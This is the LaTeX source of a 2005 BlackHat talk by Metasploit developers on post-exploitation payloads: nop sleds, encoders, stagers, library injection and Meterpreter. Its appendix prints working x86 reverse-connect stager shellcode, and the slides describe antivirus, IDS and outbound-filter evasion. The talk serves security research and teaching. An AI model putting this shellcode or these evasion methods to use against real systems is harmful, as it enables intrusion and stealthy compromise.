metasploit-framework/dev/bh/bh05.tex

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% I think this looks cool, but whateva! - skape
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% Presentation meta-information
\title{Beyond EIP}
\author[spoonm \& skape] {spoonm \& skape}
\date[BlackHat 2005] {BlackHat, 2005}
\subject{Beyond EIP}

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\AtBeginPart{\frame{\partpage}}

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\begin{document}

\begin{frame}[t]
  \titlepage
\end{frame}


%
% Introduction
%  - Who are we
%  - Why are we here, what will we say
%  - What order we're going to say it in
%
\pdfpart{Introduction}

\begin{frame}[t]
    \frametitle{Who are we?}

    \begin{sitemize}
        \item spoonm
        \begin{sitemize}
            \item Full-time student
            \item Metasploit developer since late 2003
        \end{sitemize}

        \item skape
        \begin{sitemize}
            \item Lead software developer by day
            \item Independent security researcher by night
            \item Joined the Metasploit project in 2004
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{What's this presentation about?}
    \begin{sitemize}
        \item What it's not about
        \begin{sitemize}
        \item New exploit / attack vectors
        \item New exploitation techniques
        \item 0day, bugs, etc
        \end{sitemize}
    \pause
    \item What it is about
        \begin{sitemize}
        \item What you can do after owning EIP
        \item The techniques to do it
        \item Our tools to support it
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
  \frametitle{Plan of attack}
  \begin{sitemize}
    \item Payload Infrastructure
    \begin{sitemize}
      \item Payload composition
      \item How payloads work
      \item Recent tools, tricks, and techniques
    \end{sitemize}
    \item Post-exploitation tools
    \begin{sitemize}
      \item Background \& review of existing tools
      \item The technology behind our tools
      \item How they can be used
      \item Crazy cool features for the end-user
    \end{sitemize}
  \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Our definitions: the exploitation cycle}

    \begin{sitemize}
        \item \textbf{Pre-exploitation} - Before the attack
        \begin{sitemize}
            \item Find a bug, isolate, write exploit
            \item Write any other tools, payloads, etc
        \end{sitemize}

        \pause
        \item \textbf{Exploitation} - Leveraging the vulnerability
        \begin{sitemize}
            \item Recon, information gathering, find target
            \item Initialize tools and infrastructure
            \item Launch the exploit
        \end{sitemize}

        \pause
        \item \textbf{Post-exploitation} - Manipulating the target
        \begin{sitemize}
            \item Arbitrary command execution
            \item Command execute via shell
            \item File access, VNC, pivoting, etc
            \item Advanced payload interaction
        \end{sitemize}
    \end{sitemize}
\end{frame}

%
% This section is basically here to introduce them to all of the mechanisms
% of a modern day payload system.  Just introduce and define the pieces, and
% explain their roles.  Then, later, we will discuss the details of them..
%
% We should try hard not to introduce anything new in this section!, Any
% examples in explainations
%
% This section should be an _introduction_ to what payload infrastructure is
% but it should not have any specific details about our implementations.
%
% - What is a nop sled, and why / how / when  do we use them
% - What is an encoder, and why / how / when do we use them
% - What is a stager and stage, why / how / when do we use them
%
% We should also talk about egghunt, heapfix, jmpcode, etc.  We should have
% a name for these sort of things, they are like "bootstrap" codes, or
% something.  Like, we need a a good name for them dude!
%
\pdfpart{Payload Infrastructure}

\begin{frame}[t]
    \frametitle{Anatomy of a Payload}
    \Large{[ \alert<1>{nops} ] [ \alert<2>{decoder} ( \alert<3>{encoded payload} ) ]}

    \begin{sitemize}
        \item \textbf{Nop sled}
        \begin{sitemize}
            \item For exploits where return is uncertain
            \item Control flows through the sled into the encoder
            \item Generally 1 byte aligned for x86
        \end{sitemize}

        \pause
        \item \textbf{Decoder}
        \begin{sitemize}
            \item Synonymous with payload encoder
            \item Loops and decodes payload
            \item Payload executed when finished
        \end{sitemize}

        \pause
        \item \textbf{Payload}
        \begin{sitemize}
            \item Arbitrary code
            \item Typically provides a command shell
        \end{sitemize}
    \end{sitemize}
\end{frame}

\section{Nop sleds}

%
% Why do we use them?
% Don't really need them for win32, why?
% Previous work (0x90, admutate)

\begin{frame}[t]
    \frametitle{What's a nop sled?}

    \textbf{Definition}
    \begin{sitemize}
        \item A series of bytes that equate to no-operations on the
        target architecture
    \end{sitemize}

    \pause
    \textbf{How a nop sled works}
    \begin{sitemize}
        \pause
        \item Client builds a nop sled and prepends it to a payload
        \pause
        \item Client transmits the entire payload via an exploit
        \pause
        \item Target executes all or none of the nop
        instructions
        \pause
        \item Execution falls through to the payload
    \end{sitemize}

\end{frame}

\begin{frame}[t]
    \frametitle{What's so cool about nop sleds?}

    \begin{sitemize}
        \item Not all vulnerabilities have predictable return
        addresses
        \begin{sitemize}
            \item Particularly useful when brute forcing
        \end{sitemize}

        \pause
        \item Using a sled can improve exploit quality
        \begin{sitemize}
            \item Increasing the step size of a payload decrease
            brute force attempts
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Existing nop sled technology}

    \begin{sitemize}
        \item \footnotesize{\texttt{perl -e 'print "$\backslash$x90" x \$ARGV[0]"'
            sled\_size}}
        \item ADMutate - single-byte x86
    \end{sitemize}
\end{frame}

\section{Encoders}

% Why, etc
% Talk about any previous work?

\begin{frame}[t]
    \frametitle{What's an encoder?}

    \textbf{Definition}
    \begin{sitemize}
        \item An algorithm that changes the raw form of a payload
        without altering its function
    \end{sitemize}

    \pause
    \textbf{How an encoder works}
    \begin{sitemize}
        \pause
        \item Client encodes the payload prior to transmission
        \pause
        \item Client prepends decoder stub to the payload
        \pause
        \item Client transmits the entire payload via an exploit
        \pause
        \item Target executes the decoder stub
        \pause
        \item Decoder stub performs reciprocal action on the payload
        \pause
        \item Original payload is executed
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{What's so cool about encoders?}

    \begin{sitemize}
        \item Bad character evasion
        \begin{sitemize}
            \item Most vulnerabilities have restricted characters
            (\texttt{0x00}, \texttt{0x0a}, etc)
        \end{sitemize}

        \pause
        \item IDS evasion
        \begin{sitemize}
            \item Static string signatures
            (\texttt{/bin/sh})
            \item Specific payload and payload pattern signatures
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Existing encoder technology}

    \begin{sitemize}
        \item XOR
        \begin{sitemize}
            \item Defacto standard for encoders
            \item Typically performed on a byte, word, or dword basis
            \item Variable or static key
            \item Decoder stubs are usually static excluding the key
        \end{sitemize}

        \pause
        \item Alphanumeric
        \begin{sitemize}
            \item Rix's x86 encoder from Phrack 57
            \item SkyLined's Alpha2 x86 encoder
        \end{sitemize}
    \end{sitemize}
\end{frame}

\section{Payloads}

\begin{frame}[t]
    \frametitle{What's a payload?}

    \textbf{Definition}
    \begin{sitemize}
        \item Arbitrary code that is to be executed upon successful
        exploitation
    \end{sitemize}

    \pause
    \textbf{How a payload works}
    \begin{sitemize}
        \item<3-> Client prepares the payload for execution
        \item<4-> Client transmits the payload via an exploit
        \item<5-> Target executes the payload
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{The three types of payloads}

    \begin{sitemize}
        \item \textbf{Single}
        \begin{sitemize}
            \item A self-contained payload that performs a specific
            task
            \item Size ranges on depending on the task
        \end{sitemize}

        \pause
        \item \textbf{Stager}
        \begin{sitemize}
            \item A stub payload that loads another payload
            (typically a stage)
            \item Size generally much smaller than single payloads
            \item Stores connection descriptor in known register
        \end{sitemize}

        \pause
        \item \textbf{Stage}
        \begin{sitemize}
            \item Similar to a single payload, but takes advantage
            of staging semantics
            \item Uses connection descriptor in known register where
            applicable
            \item Not subject to size limitations of individual
            vulnerabilities
        \end{sitemize}
    \end{sitemize}
\end{frame}

\subsection{Single}

\begin{frame}[t]
    \frametitle{What are single payloads?}

    \begin{sitemize}
        \item Easy plug \& chug payloads

        \pause
        \item Task oriented and connection specific

        \pause
        \item Single payloads have to be developed for each
            connection (portbind, reverse, findsock)
        \begin{sitemize}
            \item Requires the payload to be implemented \textit{N} times
        \end{sitemize}

        \pause
        \item Subject to size limitations of individual
        vulnerabilities
    \end{sitemize}
\end{frame}

% Previous work?
% Explain singles/stagers/stages

\subsection{Stagers}
% What is a stager and why
\begin{frame}[t]
    \frametitle{What are payload stagers?}

    \begin{sitemize}
        \item Payload stagers are stubs that load and execute other
        payloads
        \item The payloads that are executed are known as stages
        \item Stages perform arbitrary tasks, such as spawning a
        shell

        \pause
        \item Stagers are typically network based and follow three
        basic steps
        \begin{sitemize}
            \item Establish connection to attacker (reverse,
            portbind, findsock)
            \item Read in a payload from the connection
            \item Execute a payload with the connection in known a register
        \end{sitemize}

        \pause
        \item The three steps make it so stages are connection method
        independent
        \begin{sitemize}
            \item No need to have command shell payloads for
            reverse, portbind, and findsock
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Why are payload stagers useful?}

    \begin{sitemize}
        \item Some vulnerabilities have limited space for the
        initial payload

        \pause
        \item Typically much smaller than the stages
        they execute

        \pause
        \item Eliminate the need to re-implement payloads for each
        connection method

        \pause
        \item Provide an abstract way for getting arbitrary code
        onto a remote machine through any medium
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Existing payload stager technology}

    \begin{sitemize}
        \item Standard reverse, portbind, and findsock stagers
        included in Metasploit 2.2+

        % TODO: others?
    \end{sitemize}
\end{frame}

\subsection{Stages}
% Command shell
% or whatever
\begin{frame}[t]
    \frametitle{What are payload stages?}

    \begin{sitemize}
        \item Payload stages are executed by payload stagers and
        perform arbitrary tasks

        \pause
        \item Some examples of payload stages include
        \begin{sitemize}
            \item Execute a command shell and redirect IO to the
            attacker
            \item Execute an arbitrary command
            \item Download an executable from a URL and execute it
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Why are payload stages useful?}

    \begin{sitemize}
        \item Can be executed independent of connection method
        (portbind, reverse)
        \begin{sitemize}
            \item All stagers store the connection file descriptor
            in a common register
        \end{sitemize}

        \pause
        \item Not subject to size limitations of individual
        vulnerabilities
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{``Advantage'' payloads}

    \begin{sitemize}
        \item Advantage payloads provide enhanced manipulation of
        hosts, commonly through the native API
        \item Help to reduce the tediousness of writing payloads

        \item Core ST's InlineEgg

        % TODO: Elaborate on InlineEgg
        % TODO: others...
    \end{sitemize}
\end{frame}

%\subsection{Egg Hunters}
% What is an egghunter and why

%
% I don't think we're going to have time to talk about
% opty2 or shikata...we should probably just try to focus
% on post-exploitation and shit instead - your dad
%
\pdfpart{Nop Sleds}

\section{OptyNop2}

\begin{frame}[t]
\end{frame}

\pdfpart{Encoders}

\section{Shikata Ga Nai}

\pdfpart{Payload Stagers}

\section{Windows Ordinal Stagers}

\subsection{Overview}
\begin{frame}[t]
    \frametitle{Windows ordinal stagers}

    \begin{sitemize}
        \item Technique from Oded's lightning talk at core04
        \item Uses static ordinals in \texttt{WS2\_32.DLL} to locate symbol
        addresses
        \item Compatible with all versions of Windows (including 9X)
        \item Results in very low-overhead symbol resolution
        \item Facilitates implementation of reverse, portbind, and
        findsock stagers
        \item Leads to very tiny win32 stagers (92 byte reverse, 93
        byte findsock)
        \item Detailed write-up can be found in reference materials
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{How ordinal stagers work}

    \begin{sitemize}
        \item Ordinals are unique numbers that identify exported
        symbols in PE files
        \item Each ordinal can be used to resolve the address of an
        exported symbol

        \pause
        \item Most of the time, ordinals are incremented linearly by the
        linker
        \item Sometimes, however, developers may wish to force
        symbols to use the same ordinal every build
        \item When ordinals are the same every build, they are
        referred to as static

        \pause
        \item Using an image's exports by ordinal instead of by name
        is more efficient at runtime
        \item However, it will not be reliably portable unless the
        ordinals are known-static

        \pause
        \item Very few PE files use known-static ordinals, but
        \texttt{WS2\_32.DLL} is one that does
        \begin{sitemize}
            \item 30 symbols use static ordinals in
            \texttt{WS2\_32.DLL}
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Limitations of ordinal stagers}

    \begin{sitemize}
        \item Only 30 symbols can be used
        \begin{sitemize}
            \item \texttt{WSASocketA} is not among them
        \end{sitemize}

        \pause
        \item Can't initialize winsock if it isn't initialized
        \begin{sitemize}
            \item \texttt{WSAStartup} doesn't have a static ordinal
        \end{sitemize}

        \pause
        \item Can't use sockets as direct standard I/O handles
        \begin{sitemize}
            \item Sockets returned from \texttt{socket} aren't valid
            console handles
            \item Must use pipes instead
        \end{sitemize}
    \end{sitemize}
\end{frame}

\subsection{Implementation}
\begin{frame}[t]
    \frametitle{Implementing a reverse ordinal stager}

    \begin{sitemize}
        \item Locate the base address of \texttt{WS2\_32.DLL}
        \begin{sitemize}
            \item Extract the Peb->Ldr pointer
            \item Extract Flink from the InInitOrderModuleList
            \item Loop through loaded modules comparing module names
            \item Module name is stored in unicode, but can be
            partially translated to ANSI
            \item Once \texttt{WS2\_32.DLL} is found, extract its
            BaseAddress
        \end{sitemize}

        \pause
        \item Resolve \texttt{socket}, \texttt{connect},
        and \texttt{recv}
        \begin{sitemize}
            \item Use static ordinals to index the Export Directory Address Table
        \end{sitemize}

        \pause
        \item Allocate a socket, connect to the attacker,
        and read in the next payload

        \pause
        \item Requires that \texttt{WS2\_32.DLL} already be loaded
        in the target process
    \end{sitemize}

\end{frame}


\section{Library Injection}

\subsection{Overview}

\begin{frame}[t]
    \frametitle{Library injection stager}

    \begin{sitemize}
        \item Payload stager that provides a method of loading a
        library (DLL) into the exploited process

        \pause
        \item Libraries are functionally equivalents to executables
        \begin{sitemize}
            \item Full access to various OS-provided APIs
            \item Can do anything an executable can do
        \end{sitemize}

        \pause
        \item Library injection is covert; no new processes
        need to be created

        \pause
        \item Detailed write-up can be found in reference materials

        % TODO: elaborate?
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Types of library injection}

    \begin{sitemize}
        \item Three primary methods exist to inject a library
        \begin{senumerate}
            \item \textbf{On-Disk}: loading a library from the target's
            harddrive or a file share
            \item \textbf{In-Memory}: loading a library entirely from memory
            \item \textbf{ActiveX}: loading a library through Internet
            Explorer's ActiveX support
        \end{senumerate}
        \item On-Disk and In-Memory techniques are conceptually
        portable to non-Windows platforms
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{On-Disk library injection}

    \begin{sitemize}
        \item Loading a library from disk has been the defacto
        standard for Windows payloads
        \item Loading a library from a file share was first
        discussed by Brett Moore
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item On-Disk injection subject to filtering by Antivirus due to
            filesystem access
        \item Requires that the library file exist on the target's
            harddrive or that the file share be reachable
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{In-Memory library injection}

    \begin{sitemize}
        \item First Windows implementation released with Metasploit 2.2

        \pause
        \item Libraries are loaded entirely from memory

        \pause
        \item No disk access means no Antivirus interference

        \pause
        \item Most stealthy form of library injection thus far
        identified

        \pause
        \item No disk access means no forensic trace if the machine
        loses power
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{ActiveX library injection}

    \begin{sitemize}
        \item Uses Internet Explorer's ActiveX support to inject a DLL
        \item Reliant on zone restrictions being set to permit ActiveX

        \pause
        \item Subject to filtering by Antivirus

        \pause
        \item Implemented by the PassiveX stager
    \end{sitemize}
\end{frame}

\subsection{In-Memory Implementation on Windows}

\begin{frame}[t]
    \frametitle{In-Memory library injection on Windows}

    \begin{sitemize}
        \item Library loading on Windows is provided through \texttt{NTDLL.DLL}
        \item \texttt{NTDLL.DLL} only supports loading libraries from disk
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item To load libraries from memory, \texttt{NTDLL.DLL} must be tricked

        \pause
        \item When loading libraries, low-level system calls are used to interact with the library on disk
        \begin{sitemize}
            \item \texttt{NtOpenFile}
            \item \texttt{NtCreateSection}
            \item \texttt{NtMapViewOfSection}
        \end{sitemize}
        \item These routines can be hooked to change their behavior to operate against a memory region
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item Once hooked, calling \texttt{LoadLibraryA} with a unique pseudo file name is all that's needed
    \end{sitemize}
\end{frame}

\subsection{Example DLL: VNC}

\begin{frame}[t]
    \frametitle{Library injection in action: VNC}

    \begin{sitemize}
        \item VNC is a remote desktop protocol
        \item Very useful for remote administration beyond simple CLIs
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item First demonstrated at BlackHat USA 2004

        \pause
        \item Metasploit team converted RealVNC to a standalone DLL
        \begin{sitemize}
            \item No non-standard file dependencies
            \item No installation required
            \item Does not make any registry or filesystem changes
            \item Does not listen on a port; uses payload connection as a VNC client
        \end{sitemize}

        \pause
        \item By using the generic library loading stager, VNC was simply plugged in
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item Extremely useful when illustrating security weaknesses
        \item Suits understand mouse movement much better than command lines
    \end{sitemize}
\end{frame}

\pdfpart{Post-exploitation}

\begin{frame}[t]
    \frametitle{Post-exploitation}

    \textbf{What do you do beyond EIP?}
    \pause
    \begin{sitemize}
        \item Most people spawn a command shell
        \begin{sitemize}
            \item Poor automation support
            \item Reliant on the command shell's intrinsic commands
            \item Limited to installed applications
        \end{sitemize}
    \end{sitemize}
\end{frame}

% more slides here, talking about post-exploitation technology
% why it's necessary
%   - automation
%   - evasion
%   - extensibility
% what advantages it offers
%   - pivoting
%   - etc
% other stuff I can't think of right now

\section{Meterpreter}

\subsection{Overview}

\begin{frame}[t]
    \frametitle{The Meterpreter stage}

    \begin{sitemize}
        \item First released with Metasploit 2.3
        \item Implemented using library injection technology

        \pause
        \item Uses payload connection for communicating with
        attacker
        \begin{sitemize}
            \item Especially powerful with findsock payloads; no new
            connection established
        \end{sitemize}
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item Primary goals are to be...
        \begin{sitemize}
            \item \textbf{Stealthy}: no disk access and no new process by default
            \item \textbf{Powerful}: channelized communication and robust protocol
            \item \textbf{Extensible}: run-time augmentation of features with extensions
        \end{sitemize}
    \end{sitemize}

    \pause
    \begin{sitemize}
        \item Detailed write-up can be found in reference materials
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Why is Meterpreter useful?}

    \begin{sitemize}
        \item Platform independent design
        \begin{sitemize}
            \item Current implementation is Windows specific, but
            concepts are portable
        \end{sitemize}

        \pause
        \item Standard interface makes it possible to use one client
        to perform common actions on various platforms

        \begin{sitemize}
            \pause
            \item Execute a command interpreter and channelize the
            output

            \pause
            \item Turn on the target's USB webcam and begin
            streaming video
        \end{sitemize}

        \pause
        \item Programmatically automatable
        \begin{sitemize}
            \item RPC-like protocol allows arbitrarily complex tasks
            to be performed with a common interface
            \item Extension-based architecture makes Meterpreter
            completely flexible
        \end{sitemize}

        \pause
        \item Use of in-memory library injection makes it possible
        to run in a stealth fashion
    \end{sitemize}
\end{frame}

\subsection{Implementation}

\begin{frame}[t]
    \frametitle{Architecture - design goals}

    \begin{sitemize}
        \item Very flexible protocol; should adapt to extension
        requirements without modification

        \pause
        \item Should expose a channelized communication system for
        extensions

        \pause
        \item Should be as stealthy as possible

        \pause
        \item Should be portable to various platforms

        \pause
        \item Clients on one platform should work with servers on
        another
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Architecture - protocol}

    \begin{sitemize}
        \item Uses TLV (\texttt{Type-Length-Value}) to support
        opaque data

        \pause
        \item Every packet is composed of zero or more TLVs

        \pause
        \item Packets themselves are TLVs
        \begin{sitemize}
            \item Type is the packet type (request, response)
            \item Length is the length of the packet
            \item Value is zero or more embedded TLVs
        \end{sitemize}

        \pause
        \item TLVs make packet parsing simplistic and flexible
        \begin{sitemize}
            \item No formatting knowledge is required to parse the
            packet outside of the TLV structure
        \end{sitemize}
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Core client/server interface}

    \begin{sitemize}
        \item Minimal interface to support the loading of extensions

        \pause
        \item Implements basic packet transmission and dispatching
        \item Exposes channel allocation and management to
        extensions

        \pause
        \item Also includes support for migrating the server to
        another running process
    \end{sitemize}
\end{frame}

\subsection{Example Extension: Stdapi}

\begin{frame}[t]
    \frametitle{Meterpreter extensions in action: Stdapi}

    \begin{sitemize}
        \item Included in Metasploit 3.0
        \item Combination of previous extensions into standard
        interface

        \pause
        \item Provides access to standard OS features
        \begin{sitemize}
            \item Process execution, enumeration, and manipulation
            \item Registry manipulation
            \item File reading, writing, uploading, and downloading
            \item Network pivoting
            \item Route table and interface manipulation
            \item \emph{Much} more
        \end{sitemize}

        \pause
        \item Feature set provides for robust client-side automation
    \end{sitemize}
\end{frame}

\section{DispatchNinja}
\begin{frame}[t]
    \frametitle{Cool dN stuff here}
\end{frame}

\pdfpart{Conclusion}

\begin{frame}[t]
    \frametitle{Reference Material}

    \textbf{Payload Stagers}
    \begin{sitemize}
        \item Windows Ordinal Stagers \\
        \footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
        \item PassiveX \\
        \footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
    \end{sitemize}
    \textbf{Payload Stages}
    \begin{sitemize}
        \item Library Injection \\
        \footnotesize{\url{http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf}}
        \item Meterpreter \\
        \footnotesize{\url{http://www.nologin.org/Downloads/Papers/meterpreter.pdf}}
    \end{sitemize}
\end{frame}

\appendix

\pdfpart{Appendix: Payload Stagers}
\section{Windows Ordinal Stagers}
\subsection{Reverse Ordinal Stager Implementation}
\begin{frame}[fragile]
    \frametitle{Locating WS2\_32.DLL's base address}

\footnotesize{
    \begin{verbatim}
FC         cld                   ; clear direction (lodsd)
31DB       xor ebx,ebx           ; zero ebx
648B4330   mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C     mov eax,[eax+0xc]     ; eax = PEB->Ldr
8B501C     mov edx,[eax+0x1c]    ; edx = Ldr->InitList.Flink
8B12       mov edx,[edx]         ; edx = LdrModule->Flink
8B7220     mov esi,[edx+0x20]    ; esi = LdrModule->DllName
AD         lodsd                 ; eax = [esi] ; esi += 4
AD         lodsd                 ; eax = [esi] ; esi += 4
4E         dec esi               ; esi--
0306       add eax,[esi]         ; eax = eax + [esi]
                                 ; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332    ; eax == 2_32?
75EF       jnz 0xd               ; not equal, continue loop

    \end{verbatim}
}
\end{frame}

\begin{frame}[fragile]
    \frametitle{Resolve symbols using static ordinals}

\footnotesize{
    \begin{verbatim}
8B6A08     mov ebp,[edx+0x8]     ; ebp = LdrModule->BaseAddr
8B453C     mov eax,[ebp+0x3c]    ; eax = DosHdr->e_lfanew
8B4C0578   mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C   mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9       add ecx,ebp           ; ecx += ws2base
8B4158     mov eax,[ecx+0x58]    ; eax = socket rva
01E8       add eax,ebp           ; eax += ws2base
8B713C     mov esi,[ecx+0x3c]    ; esi = recv rva
01EE       add esi,ebp           ; esi += ws2base
03690C     add ebp,[ecx+0xc]     ; ebp += connect rva
    \end{verbatim}
}
\end{frame}

\begin{frame}[fragile]
    \frametitle{Create the socket, connect back, recv, and jump}

\footnotesize{
    \begin{verbatim}
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53         push ebx              ; push 0
6A01       push byte +0x1        ; push SOCK_STREAM
6A02       push byte +0x2        ; push AF_INET
FFD0       call eax              ; call socket
97         xchg eax,edi          ; edi = fd
687F000001 push dword 0x100007f  ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1       mov ecx,esp           ; ecx = &sockaddr_in
53         push ebx              ; push flags (0)
B70C       mov bh,0xc            ; ebx = 0x0c00
53         push ebx              ; push length (0xc00)
51         push ecx              ; push buffer
57         push edi              ; push fd
51         push ecx              ; push buffer
6A10       push byte +0x10       ; push addrlen (16)
51         push ecx              ; push &sockaddr_in
57         push edi              ; push fd
56         push esi              ; push recv
FFE5       jmp ebp               ; call connect
\end{verbatim}
}
\end{frame}

\end{document}


\begin{comment}


NOTEZ

First

What aren't we talking about
  - New exploit vectors
  - New exploit techniques
  - Bugs in any shape, size, or form

What is encoding, and why do we do it?
  - Bad character avoidence, don't need special case payloads for that..
  - Added bonus of evasion
  - Nice because you usually just need to write 1 good encoder...

What is staging, and why?
  - Size problem
  - Multiple your aresenal, 5 stagers + 5 stages, 10 shellcodes, but 25 payloads

Should move around the ordinal information, explain what ordinals are first.
Talk about how ordinals are diffined to be static in their .lib
List some of the limitations for ws2_32 (like no WSASocket, and what that means
in terms of writing shellcode, pipe shell, etc).


Post exploitation.

What's most important to them
1) Features
2) Evasion
3) Technology.

The order we should present is reverse, save the best for last

1) introduce and explain the technology
  - dll injection
  - TLV protocol, async, threadsafe, meterp sharing, etc
  - Ruby APIs (how they emulate the native APIs, native API replacement, etc)

2) explain how this has the added benefit against anti-forensics
  - no disk access
  - anti-debugging
  - page locking / swapping prevention
  - encryption
  - connection reuse and tunneling / channels
  - no filesystem .exe loading...

3) explain the type of features an end-pentester would see
  - pivoting / portfwd
  - file upload / download, list, run, etc
  - channels, multiple command shells, hung terminal doesn't totally fuck you
  - vnc / idle time stffu (ties into stealthyness)

Possible flashy demos:
  - migrating
  - Possibly change window colors, move windows, etc in the process we migrate
    to.  Was shok's idea, so you could "visualize" the migrate, etc.
  - Do some flashy no-disk .exe injection, send up an opengl demo!

Interesting asides:
  - Great for testing (Metatest, bringing you a better Metasploit Framework!)
  - make a insanely great remote control application (automation)


Future stuff:
  - Botnetesk type stuff / mesh
  - Listening meterp / multiple control channels / better collaboration..



OLD ----


Notes on post-exploitation

 - Core Impact / Syscall Proxying

  + Mainly written to support their feature set, not to expose it to an end
    user.  Don't think you're going to get much access to the syscall libraries,
    they are all written in C and dlls for the most part it seems.

  + you get their nice features, pivoting, file access, minishell, etc, but
    for anything beyond that, you have to upgrade your agent, and then I don't
    believe those are using syscall proxying type things anymore.  I think some
    of them bundle python interpreters...

  + how it works
  + really cool, and simple
  + no need to write vicitim-side code for any calls you want to make
  + inefficent for some types of things (port scanning)

 - CANVAS

 - mosdef
   - model is very similar to dN
   - you have to write a client and server component
   - build environment not seperated, have you write your client side component
     in wanna-be-aitel c, and have you have it in a python script.
   - he has an API to do some stuff, but mostly low level stuff, and nothing
     high level and cool.
   - like all of his stuff, it's very rough and primitive seeming.  I'm sure,
     just like spike, you can do some cool stuff with it, but it's like building
     a car with a rock, or something...

  + Code is dirty....
  +

\section{PassiveX}
\subsection{Overview}
\begin{frame}[t]
    \frametitle{PassiveX}

    \begin{sitemize}
        \item Robust payload stager capable of bypassing restrictive
        outbound filters
        \item Compatible with Windows 2000+ running Internet
        Explorer 6.0+
        \item Uses HTTP to communicate with attacker
        \item Provides an alternate vector for library injection via
        ActiveX
        \item Detailed write-up can be found in reference materials
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{How PassiveX works}

    \begin{sitemize}
        \item Enables support for both signed and unsigned ActiveX
        controls in the \texttt{Internet} zone.
        \begin{sitemize}
            \pause
            \item Necessary because administrators may have disabled
            ActiveX support for security reasons
        \end{sitemize}

        \pause
        \item Launches a hidden instance of Internet Explorer

        \pause
        \item Internet Explorer loads a page that the attacker
        has put an embedded ActiveX control on

        \pause
        \item Internet Explorer loads and executes the ActiveX
        control
    \end{sitemize}
\end{frame}

\begin{frame}[t]
    \frametitle{Why is PassiveX useful?}

    \begin{sitemize}
        \item Relatively small (roughly 400 byte) stager that does not
        directly interact with the network

        \pause
        \item Bypasses common outbound filters by tunneling through
        HTTP

        \pause
        \item Automatically uses proxy settings defined in Internet
        Explorer

        \pause
        \item Bypasses trusted application restrictions (ZoneAlarm)

        \pause
        \item ActiveX technology allows the attacker to implement
        complex code in higher level languages (C, C++, VB)
        \begin{sitemize}
            \item Eliminates the need to perform complicated tasks
            from assembly
            \item ActiveX controls are functionally equivalent to
            executables
        \end{sitemize}
    \end{sitemize}
\end{frame}

\subsection{Implementation}

\begin{frame}[t]
    \frametitle{Implementing the PassiveX stager}

    \begin{sitemize}
        \item Enable download and execution of ActiveX controls
        \begin{sitemize}
            \item Open the current user's \texttt{Internet} zone
            registry key
            \item Enable four settings
            \begin{sitemize}
                \item \texttt{Download signed ActiveX controls}
                \item \texttt{Download unsigned ActiveX controls}
                \item \texttt{Run ActiveX controls and plugins}
                \item \texttt{Initialize and script ActiveX controls not
            marked as safe}
            \end{sitemize}
        \end{sitemize}

        \pause
        \item Launch a hidden instance of Internet Explorer pointed
        at a URL the attacker controls

        \pause
        \item Internet Explorer then loads and executes the attacker's
        ActiveX control
    \end{sitemize}
\end{frame}

\subsection{Example ActiveX: HTTP Tunneling Control}
\begin{frame}[t]
    \frametitle{An example ActiveX control}

    \begin{sitemize}
        \item ActiveX controls may choose to build an HTTP tunnel
        to the attacker
        \item HTTP tunnels provide a streaming connection over HTTP
        requests and responses
        \item Useful for tunneling other protocols, like TCP,
        through HTTP

        % TODO: elaborate?
    \end{sitemize}
\end{frame}

\subsection{Pros \& Cons}
\begin{frame}[t]
    \frametitle{Pros \& cons}

    \begin{sitemize}
        \item \textbf{Pros}
        \begin{sitemize}
            \item Bypasses restrictive outbound filters at both a
            network and application level

            \pause
            \item Provides a method for using complex code written
            in a high-level language
        \end{sitemize}

        \pause
        \item \textbf{Cons}
        \begin{sitemize}
            \item Does not work when run as a non-privileged user
            \begin{sitemize}
                \item Internet Explorer refuses to download ActiveX
                controls
            \end{sitemize}

            \pause
            \item Requires the ActiveX control to restore
            \texttt{Internet} zone settings
            \begin{sitemize}
                \item May leave the machine vulnerable to compromise
                if not done
            \end{sitemize}
        \end{sitemize}

    \end{sitemize}
\end{frame}

\end{comment}